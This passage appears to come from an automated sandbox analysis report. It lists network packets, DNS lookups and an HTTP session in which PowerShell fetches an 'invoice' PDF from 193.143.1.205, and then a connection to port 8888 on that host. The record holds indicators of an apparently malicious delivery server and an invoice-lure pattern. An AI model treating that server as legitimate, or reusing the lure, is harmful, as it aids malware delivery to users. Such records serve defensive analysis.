Jan 11, 2025 09:01:07.735876083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.735903025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.735937119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.735964060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.735975027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.736007929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.736046076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.736057043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.736068964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.736078024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.736078978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.736092091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.736105919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.736124992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.736232042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.736243010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.736253977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.736263990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.736274958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.736308098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.736346960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.736447096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.736458063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.736469984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.736475945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.736479998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.736480951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.736493111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.736522913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.736522913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.736713886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.736723900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.736735106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.736751080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.736771107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.736779928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.736790895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.736803055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.736821890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.751816034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.751864910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.751868010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.751877069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.751910925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.751949072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.751959085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.751970053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.751991987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.752083063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.752094030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.752125025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.752223015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.752252102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.752259016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.752263069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.752276897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.752293110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.752419949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.752432108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.752443075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.752454996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.752463102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.752465963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.752476931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.752486944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.752486944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.752499104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.752502918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.752531052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.752669096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.752702951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.769968033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.770040035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.770050049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.770093918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.770096064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.770106077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.770117044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.770128012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.770136118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.770158052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.770291090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.770302057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.770313025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.770324945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.770329952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.770344973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.770456076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.770467043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.770478010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.770487070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.770508051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.785821915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.785893917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.785911083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.785923958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.785934925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.785947084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.785959959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.785964012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.785973072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.785995007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.786051035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.786097050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.786109924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.786127090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.786158085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.786164999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.786169052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.786176920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.786187887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.786221981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.786235094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.786334038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.786345005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.786356926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.786379099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.786410093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.786420107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.786432028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.786443949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.786468983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.786528111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.786539078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.786582947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.786688089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.786699057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.786709070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.786720991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.786731005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.786731958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.786744118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.786751032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.786756992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.786787987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.786966085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.786983013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.786993980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.787004948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.787010908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.787017107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.787029028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.787029028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.787039995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.787062883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.787077904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.787266016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.787285089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.787297010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.787307024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.787322998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.787324905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.787348032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.787545919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.787554979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.787564993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.787574053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.787578106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.787584066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.787595987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.787604094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.787606955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.787616014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.787623882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.787626982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.787637949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.787641048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.787662983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.788012981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.788022995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.788032055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.788042068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.788048029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.788052082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.788059950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.788062096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.788072109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.788084030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.788101912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.826498032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.826525927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.826536894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.826543093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.826551914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.826603889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.826633930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.826643944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.826656103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.826669931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.826702118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.826733112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.826747894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.826792955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.826816082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.826828003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.826863050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.826920986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.826931000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.826941967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.826966047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.827060938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.827097893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.827162981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.827173948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.827183962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.827194929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.827205896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.827209949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.827217102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.827225924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.827255964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.827289104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.842540026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.842561960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.842575073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.842592001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.842602968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.842608929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.842639923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.842653990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.842664957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.842713118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.842741013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.842752934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.842763901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.842776060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.842797995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.842823982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.842892885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.842904091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.842915058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.842937946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.842962027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.842972994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.842983961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.842992067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.843013048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.843077898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.843089104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.843133926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.843137026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.843147993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.843179941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.860630989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.860666037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.860698938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.860711098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.860723019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.860742092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.860774994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.860805988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.860817909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.860829115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.860848904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.860872030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.860915899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.860944033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.860956907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.860981941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.861007929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.861020088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.861042976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.861136913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.861170053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.861176014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.861191034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.861228943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.876532078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.876617908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.876631021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.876650095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.876665115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.876672983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.876684904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.876698017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.876733065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.876746893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.876759052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.876769066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.876806021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.876882076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.876892090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.876935005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.882864952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.907187939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:08.149116993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:08.898133993 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:08.903211117 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:08.903306961 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:08.903500080 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:08.908309937 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:09.703916073 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:09.744596004 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:11.271105051 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 09:01:21.959273100 CET	50634	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 09:01:21.959273100 CET	192.168.2.5	1.1.1.1	0xc3d1	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 09:01:20.207585096 CET	1.1.1.1	192.168.2.5	0x2e3c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:01:20.207585096 CET	1.1.1.1	192.168.2.5	0x2e3c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:01:21.965936899 CET	1.1.1.1	192.168.2.5	0xc3d1	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	6148	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 09:01:06.299164057 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 09:01:07.105293036 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 08:01:06 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter 